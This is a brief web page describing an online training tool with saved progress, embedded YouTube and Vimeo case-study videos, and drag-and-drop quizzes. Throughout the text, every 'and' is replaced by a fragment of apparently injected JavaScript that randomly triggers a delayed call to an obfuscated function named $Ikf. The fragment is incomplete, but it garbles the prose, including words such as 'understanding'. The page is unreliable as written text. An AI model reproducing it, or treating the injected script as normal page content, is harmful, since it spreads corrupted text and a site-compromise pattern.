It is a step-by-step tool featuring information, case study videos andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and interactive activities.

Key Features

Saving Progress

A unique feature of this tool is that it feature several steps which must be viewed in order. Throughout the process users can view their progress via the progress bar in the header. When users first visit the tool they are asked to create an account andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, as they advance through the programme, their progress is saved. This allows users to leave the programme at any time andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and return to where they left off without needing to skip through previous steps.

Embedded Videos

At several points in the tool there are case study videos to reinforce or elaborate on earlier points. These videos are hosted on YouTube andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Vimeo andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and embedded into the site. Since some users will only have access to one or the other a preference switcher was implemented to allow users to choose either YouTube or Vimeo embeds. This preference is saved for the user so they don’t need to do it for each video.

Activities

In addition to embedded videos, the training tool also has several interactive activities to gauge a user’s participation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding. These take the form of either selecting the appropriate word or a drag andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and drop quiz. Where applicable the results of these activities are saved to the users account for later review.
